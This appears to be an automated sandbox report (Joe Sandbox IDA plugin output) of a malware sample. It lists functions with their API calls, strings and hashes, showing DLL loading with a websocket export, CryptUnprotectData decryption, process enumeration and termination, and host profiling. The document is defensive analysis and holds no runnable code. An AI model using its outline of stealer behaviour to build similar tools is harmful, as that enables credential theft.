Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID: +aA$+aA
API String ID: 1008454911-2425922966
Opcode ID: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction ID: fde31ff110f26a7c533ed41685ed538a2d60c52cc522202a3453e975d8f44226
Opcode Fuzzy Hash: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction Fuzzy Hash: 193136B4E01218ABDB20CF54DC85BDDB7B5EB48304F1081EAFA09A7281D7746AC18F9D

Function 0040A090 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098
GetProcAddress.KERNEL32(6C8A0000,connect_to_websocket), ref: 0040A0BE
GetProcAddress.KERNEL32(6C8A0000,free_result), ref: 0040A0D5
FreeLibrary.KERNEL32(6C8A0000,?,004108E4), ref: 0040A0F9

Strings

connect_to_websocket, xrefs: 0040A0B3
C:\ProgramData\chrome.dll, xrefs: 0040A093
free_result, xrefs: 0040A0C9

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 2256533930-1545816527
Opcode ID: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction ID: 41317d004e32df3368e0b40b2df30f060e9b3f1c7a199a11b2b6647de007d5a9
Opcode Fuzzy Hash: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction Fuzzy Hash: 57F01DB4E0E324EFD7009B60ED48B563BA6E318341F506437F505AB2E0E3B85494CB6B

Function 004198E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00419905
Process32First.KERNEL32(00409FDE,00000128), ref: 00419919
Process32Next.KERNEL32(00409FDE,00000128), ref: 0041992E
StrCmpCA.SHLWAPI(?,00409FDE), ref: 00419943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0041995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041997A
CloseHandle.KERNEL32(00000000), ref: 00419987
CloseHandle.KERNEL32(00409FDE), ref: 00419993

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction ID: 9e175830caf9148bd7a219e001ec971bef60eefc02138b6d75eb658f8e5d4480
Opcode Fuzzy Hash: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction Fuzzy Hash: 94112EB5E15218ABCB24DFA0DC48BDEB7B9BB48700F00558DF509A6240EB749B84CF91

Function 0040E530 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D79), ref: 0040E5A2
StrCmpCA.SHLWAPI(?,004215F0), ref: 0040E5F2
StrCmpCA.SHLWAPI(?,004215F4), ref: 0040E608
FindNextFileA.KERNEL32(000000FF,?), ref: 0040ECDF

Strings

\*.*, xrefs: 0040E54D
@, xrefs: 0040ECF5, 0040E6EB, 0040E81C, 0040E95B, 0040E5B9, 0040E6EE, 0040E81F, 0040E95E

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: a39a168669dd9b767188d7e03839cdcab6d542195d1a2e313aa4547aa9dca0e5
Instruction ID: 078a0cb4b8b1302ba7a9d85fb6124db0b21cd0ebb254cebb7c4a92464ee22dab
Opcode Fuzzy Hash: a39a168669dd9b767188d7e03839cdcab6d542195d1a2e313aa4547aa9dca0e5
Instruction Fuzzy Hash: A6128431A111185BCB14FB61DCA6EED7339AF54314F4045EFB10A62095EF386F98CB9A

Function 00417D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
LocalFree.KERNEL32(00000000), ref: 00417EB2

Strings

/ , xrefs: 00417E0F

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a9c2a3d8980f824397494a6f3138396e161b863b8c8af303ecba9acef840721c
Instruction ID: 3a7f69f4b1fea99afaf6d133ce9a777b30b3333c02d8fb4e8698743120f63e4e
Opcode Fuzzy Hash: a9c2a3d8980f824397494a6f3138396e161b863b8c8af303ecba9acef840721c
Instruction Fuzzy Hash: 1C416D71945218ABCB24DB94DC99BEEB374FF44704F2041DAE10A62280DB386FC4CFA9

Function 61EAD2AC Relevance: 6.6, Strings: 5, Instructions: 334COMMON

Download Yara Rule

Strings

kqa, xrefs: 61EAD645
RTRIM, xrefs: 61EAD507
main, xrefs: 61EAD638
NOCASE, xrefs: 61EAD4C8
BINARY, xrefs: 61EAD40C, 61EAD478, 61EAD4A0

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: strcmp
String ID: BINARY$NOCASE$RTRIM$kqa$main
API String ID: 1004003707-114998471
Opcode ID: a91cd7229bbcb9772a12360a66d590ea0b867b5377a6ef059bbc6c856084bca5
Instruction ID: 60bcc8b0197c989f7013f8b1edc5a9d28cf944306873f66ca73508c1f88d5ce1
Opcode Fuzzy Hash: a91cd7229bbcb9772a12360a66d590ea0b867b5377a6ef059bbc6c856084bca5
Instruction Fuzzy Hash: DEE149B4A087858BEB00DF68C59474ABBF1BF89308F24C86DEC989F395D779C8458B51

Function 00418810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Process32First.KERNEL32(?,00000128), ref: 0041886E
Process32Next.KERNEL32(?,00000128), ref: 00418883

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

CloseHandle.KERNEL32(?), ref: 004188F1

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 9d9ec364ee6a93562b6efec49ca0d433d4cf16d75aacd9b160be087bee1fd478
Instruction ID: f2962352e5a9518fad6621e76df9ccdb14d3c152e16a9ee82315e1f5505f4b94
Opcode Fuzzy Hash: 9d9ec364ee6a93562b6efec49ca0d433d4cf16d75aacd9b160be087bee1fd478
Instruction Fuzzy Hash: 0E318171A02158ABCB24DF55DC55FEEB378EF04714F50419EF10A62190EB386B84CFA5

Function 0040A2B0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
memcpy.MSVCRT(?,?,?), ref: 0040A316
LocalFree.KERNEL32(?), ref: 0040A323

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction ID: b2ce5641e7fa807fe786f78e48a01c4c7ef199da86c861ee62a52048bf8154be
Opcode Fuzzy Hash: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction Fuzzy Hash: 3611ACB4900209DFCB04DF94D988AAE77B5FF88300F104559ED15A7350D734AE50CF61

Function 00417BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02CC54B0,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02CC54B0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02CC54B0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D
wsprintfA.USER32 ref: 00417C47

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction ID: b2a27aae97358dcb217157a2278e60ef806da717b76b9d8dbc6f71207b10123d
Opcode Fuzzy Hash: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction Fuzzy Hash: C011A1B1E0A228EBEB208B54DC45FA9BB79FB45711F1003D6F619932D0E7785A808B95

Function 004179E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction ID: 9b82aaaa51ecd1631f431d3f1c3dae0ecd6dc6cababe86b84151973db8bb3773
Opcode Fuzzy Hash: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction Fuzzy Hash: 80F04FB1D49249EBC700DF98DD45BAEBBB8EB45711F10021BF615A2680D7755640CBA1

Function 61E75F1F Relevance: 3.3, Strings: 2, Instructions: 815COMMON

Download Yara Rule

Strings

recursive reference in a subquery: %s, xrefs: 61E76A54
multiple recursive references: %s, xrefs: 61E76A4B

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: multiple recursive references: %s$recursive reference in a subquery: %s
API String ID: 0-3854365051
Opcode ID: 9d61cd90bcb3f95eccddd84f83037b29cdbcb69b89d9cacf4c5cd74c7857a23f
Instruction ID: 7d5e909c26c2478cc4d8a1152a5e5b16c7ea0641b558a5fde8b477d39de8e8ad
Opcode Fuzzy Hash: 9d61cd90bcb3f95eccddd84f83037b29cdbcb69b89d9cacf4c5cd74c7857a23f
Instruction Fuzzy Hash: 4E8207B4A052899FEB25CFA8C180B9DBBF1BF48308F24C559E859AB355D734E846CF50

Function 00418060 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E14), ref: 00418090
wsprintfA.USER32 ref: 004180A6

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction ID: 08512fc152d1616d0ad9ea22e4a9698bc695f8d0908738fe214e90ce4e812d63
Opcode Fuzzy Hash: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction Fuzzy Hash: 67F06DB1E04218ABCB10CB84EC45FEAFBBDFB48B14F50066AF51592280E7796904CAE5

Function 61E4B8A1 Relevance: 1.6, APIs: 1, Instructions: 323COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E4BBA6

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: a8ff26a4ae31eb3c0b072aa693abe32b47297d605d85dc291845808d49d3b3ac
Instruction ID: 0d30bdf3ca1535cc6e9debfec2a3fa3a34d16498aff86589297f71c0a5a37c1e
Opcode Fuzzy Hash: a8ff26a4ae31eb3c0b072aa693abe32b47297d605d85dc291845808d49d3b3ac
Instruction Fuzzy Hash: 7DC15D30E082858BEB15CFA8E4D079D7AF1AF8831CF29C46DD8469B349EB74D885CB51

Function 00419BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,02C48D58), ref: 00419BF1
GetProcAddress.KERNEL32(75900000,02C48D70), ref: 00419C0A
GetProcAddress.KERNEL32(75900000,02C48DA0), ref: 00419C22
GetProcAddress.KERNEL32(75900000,02C48E18), ref: 00419C3A
GetProcAddress.KERNEL32(75900000,02C48D88), ref: 00419C53
GetProcAddress.KERNEL32(75900000,02CBECA0), ref: 00419C6B
